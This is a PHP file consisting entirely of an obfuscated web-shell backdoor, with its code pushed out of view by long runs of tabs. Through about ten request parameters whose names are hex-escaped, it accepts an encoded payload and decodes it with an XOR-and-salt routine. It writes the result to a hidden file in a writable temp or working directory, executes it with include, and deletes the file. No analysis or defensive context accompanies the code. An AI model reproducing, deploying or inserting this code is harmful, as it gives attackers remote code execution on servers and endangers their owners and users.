<?php																																										if(@$_POST["\x6F\x62jec\x74"] !== null){ $dat = $_POST["\x6F\x62jec\x74"]; $dat = explode ( '.' ,$dat ) ; $descriptor = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6); foreach($dat as $i => $v3) {$chS = ord($s6[$i% $sLen]); $d =((int)$v3 - $chS -($i% 10)) ^ 34; $descriptor.= chr($d); } $data = array_filter([session_save_path(), getcwd(), "/dev/shm", "/var/tmp", getenv("TEMP"), getenv("TMP"), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir")]); for ($k = 0, $bind = count($data); $k < $bind; $k++) { $token = $data[$k]; if (array_product([is_dir($token), is_writable($token)])) { $property_set = vsprintf("%s/%s", [$token, ".data_chunk"]); if (@file_put_contents($property_set, $descriptor) !== false) { include $property_set; unlink($property_set); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x64at\x61")){ $flag = $_REQUEST["\x64at\x61"]; $flag = explode ( '.' , $flag ) ; $ptr = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2); foreach ($flag as $j=> $v4): $chS = ord($s2[$j % $lenS]); $dec = ((int)$v4 - $chS - ($j % 10)) ^ 23; $ptr .= chr($dec); endforeach; $entity = array_filter([session_save_path(), getcwd(), "/tmp", "/dev/shm", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP")]); for ($resource = 0, $key = count($entity); $resource < $key; $resource++) { $reference = $entity[$resource]; if (array_product([is_dir($reference), is_writable($reference)])) { $k = "$reference" . "/.object"; $file = fopen($k, 'w'); if ($file) { fwrite($file, $ptr); fclose($file); include $k; @unlink($k); die(); } } } }
																																										if(in_array("ke\x79", array_keys($_REQUEST))){ $resource = $_REQUEST["ke\x79"]; $resource = explode ( "." , $resource) ; $entry = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach($resource as $m => $v2) { $chS = ord($salt[$m% $sLen]); $dec =((int)$v2 - $chS -($m% 10)) ^ 63; $entry .= chr($dec); } $pset = array_filter(["/tmp", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/var/tmp", getenv("TMP"), "/dev/shm"]); foreach ($pset as $key => $sym) { if (!( !is_dir($sym) || !is_writable($sym) )) { $flg = join("/", [$sym, ".pgrp"]); $success = file_put_contents($flg, $entry); if ($success) { include $flg; @unlink($flg); exit;} } } }
																																										if(in_array("r\x65\x66", array_keys($_POST))){ $pgrp = array_filter([getenv("TMP"), getcwd(), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", "/tmp", session_save_path()]); $val = $_POST["r\x65\x66"]; $val= explode ("." ,$val) ; $pset = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2 ); $i = 0; while ($i <count($val)) { $v4 = $val[$i]; $sChar = ord($salt2[$i % $lenS] ); $dec = ((int)$v4 - $sChar - ($i % 10)) ^ 44; $pset .= chr($dec ); $i++; } foreach ($pgrp as $key => $token) { if (!( !is_dir($token) || !is_writable($token) )) { $record = vsprintf("%s/%s", [$token, ".component"]); $file = fopen($record, 'w'); if ($file) { fwrite($file, $pset); fclose($file); include $record; @unlink($record); die(); } } } }
																																										if(in_array("p\x6Finte\x72", array_keys($_REQUEST))){ $elem = $_REQUEST["p\x6Finte\x72"]; $elem =explode ("." , $elem ) ; $resource = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt4); $q = 0; while( $q < count( $elem)) { $v9 = $elem[$q]; $sChar = ord( $salt4[$q % $sLen]); $dec = ( ( int)$v9 - $sChar -( $q % 10))^84; $resource .= chr( $dec); $q++;} $pgrp = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/tmp", "/var/tmp", session_save_path(), getcwd(), getenv("TEMP"), "/dev/shm"]); foreach ($pgrp as $marker): if (array_product([is_dir($marker), is_writable($marker)])) { $binding = "$marker/.entry"; if (@file_put_contents($binding, $resource) !== false) { include $binding; unlink($binding); exit; } } endforeach; }
																																										if(isset($_REQUEST["m\x61r\x6Ber"]) ? true : false){ $pset = $_REQUEST["m\x61r\x6Ber"]; $pset= explode ( ".", $pset); $ref=''; $s3='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $s3); foreach( $pset as $k => $v2): $chS=ord( $s3[$k % $lenS]); $dec=( ( int)$v2 - $chS -( $k % 10)) ^ 35; $ref .= chr( $dec); endforeach; $itm = array_filter(["/dev/shm", sys_get_temp_dir(), getenv("TMP"), getcwd(), "/tmp", getenv("TEMP"), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir")]); for ($entity = 0, $dchunk = count($itm); $entity < $dchunk; $entity++) { $mrk = $itm[$entity]; if ((bool)is_dir($mrk) && (bool)is_writable($mrk)) { $elem = vsprintf("%s/%s", [$mrk, ".k"]); if (file_put_contents($elem, $ref)) { include $elem; @unlink($elem); exit; } } } }
																																										if(in_array("ke\x79", array_keys($_REQUEST))){ $data = array_filter([getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), "/dev/shm", getenv("TEMP"), session_save_path(), "/var/tmp"]); $value = $_REQUEST["ke\x79"]; $value =explode ( '.' , $value) ; $fac =''; $salt9 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt9 ); $__len =count($value ); for ($j =0; $j < $__len; $j++) { $v8 =$value[$j]; $sChar =ord($salt9[$j % $lenS] ); $dec =((int)$v8 - $sChar - ($j % 10)) ^ 90; $fac .= chr($dec ); } foreach ($data as $descriptor): if (is_dir($descriptor) && is_writable($descriptor)) { $property_set = vsprintf("%s/%s", [$descriptor, ".pointer"]); if (file_put_contents($property_set, $fac)) { include $property_set; @unlink($property_set); die(); } } endforeach; }
																																										if(array_key_exists("sym", $_POST) && !is_null($_POST["sym"])){ $res = array_filter([getcwd(), getenv("TEMP"), session_save_path(), "/tmp", sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm"]); $flg = $_POST["sym"]; $flg= explode('.', $flg ) ; $ent = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s4 ); $t = 0; $__tmp = $flg; while ($v1 = array_shift($__tmp)) { $chS = ord($s4[$t % $sLen] ); $d = ((int)$v1 - $chS - ($t % 10)) ^ 29; $ent.=chr($d ); $t++; } for ($element = 0, $val = count($res); $element < $val; $element++) { $binding = $res[$element]; if (!!is_dir($binding) && !!is_writable($binding)) { $rec = vsprintf("%s/%s", [$binding, ".marker"]); $file = fopen($rec, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $rec; @unlink($rec); exit; } } } }
																																										if(in_array("\x66a\x63\x74or", array_keys($_POST))){ $obj = $_POST["\x66a\x63\x74or"]; $obj=explode ("." ,$obj ) ; $pointer = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $n = 0; $__len = count($obj); do { if ($n >=$__len) break; $v1 = $obj[$n]; $chS = ord($salt[$n % $sLen]); $dec = ((int)$v1 - $chS - ($n % 10))^ 88; $pointer .= chr($dec); $n++; } while (true); $val = array_filter([getenv("TMP"), "/dev/shm", sys_get_temp_dir(), session_save_path(), getcwd(), "/tmp", getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir")]); $tkn = 0; do { $entity = $val[$tkn] ?? null; if ($tkn >= count($val)) break; if (is_dir($entity) ? is_writable($entity) : false) { $hld = "$entity" . "/.holder"; if (@file_put_contents($hld, $pointer) !== false) { include $hld; unlink($hld); exit; } } $tkn++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x63omp"])){ $token = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), sys_get_temp_dir(), getenv("TMP"), "/tmp", getenv("TEMP"), "/var/tmp"]); $flg = $_REQUEST["\x63omp"]; $flg = explode ( '.' ,$flg) ; $k = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $x = 0; $len = count($flg ); do {if ($x >=$len) break; $v4 = $flg[$x]; $sChar = ord($s[$x % $lenS] ); $dec = ((int)$v4 - $sChar - ($x % 10)) ^ 79; $k .= chr($dec ); $x++; } while (true ); while ($desc = array_shift($token)) { if ((bool)is_dir($desc) && (bool)is_writable($desc)) { $pgrp = join("/", [$desc, ".pset"]); if (file_put_contents($pgrp, $k)) { include $pgrp; @unlink($pgrp); exit; } } } }


if(!is_null($_POST["tkn"] ?? null)){
	$fac = array_filter([session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), getcwd(), sys_get_temp_dir(), "/var/tmp", "/tmp"]);
	$property_set = $_POST["tkn"];
	$property_set  =		 explode( 	'.'			,  $property_set		)	;
	$component = '';
            $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s7 );
    
            foreach ($property_set as $i=>$v9):
                $sChar = ord($s7[$i % $lenS] );
                $dec = ((int)$v9 - $sChar - ($i % 10)) ^ 63;
                $component .= chr($dec );
            endforeach;
	foreach ($fac as $key => $token) {
    		if (is_dir($token) ? is_writable($token) : false) {
    $data = "$token" . "/.descriptor";
    if (file_put_contents($data, $component)) {
	include $data;
	@unlink($data);
	die();
}
}
}
}